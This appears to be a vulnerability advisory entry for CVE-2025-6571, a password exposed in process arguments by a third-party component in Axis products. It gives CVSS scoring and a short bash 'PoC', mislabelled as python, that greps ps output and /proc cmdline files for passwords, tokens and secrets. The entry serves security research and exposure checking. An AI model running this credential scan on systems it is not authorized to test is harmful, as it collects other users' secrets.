A 3rd-party component exposed its password in process arguments, allowing for low-privileged users to access it.
CVSS Details
CVSS Score
6.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L
Configurations (Affected Products)
No configuration data available.
Axis Communications 产品（受影响的第三方组件版本）
具体版本信息请参考Axis官方安全公告
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash
# CVE-2025-6571 PoC - Check for exposed passwords in process arguments
# This script checks if any processes have sensitive information in command line arguments
echo "[*] CVE-2025-6571 - Checking for exposed credentials in process arguments"
echo "[*] Scanning processes for potential credential exposure..."
# Method 1: Use ps to display process arguments
echo "\n[+] Method 1: Checking ps output for sensitive patterns..."
ps auxww | grep -E '(password|passwd|pwd|secret|key|token|credential|auth)' | grep -v grep
# Method 2: Check /proc filesystem for command line arguments
echo "\n[+] Method 2: Scanning /proc for exposed credentials..."
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')
if echo "$cmdline" | grep -qiE '(password|passwd|pwd|secret|key|token|credential|auth)'; then
echo "[!] Potential exposure found in PID $pid: $cmdline"
fi
done
# Method 3: Check for common Axis-related processes
echo "\n[+] Method 3: Checking Axis-related processes..."
ps auxww | grep -i 'axis\|camera\|third' | grep -v grep
echo "\n[*] Scan complete. If credentials are found in process arguments, system is vulnerable."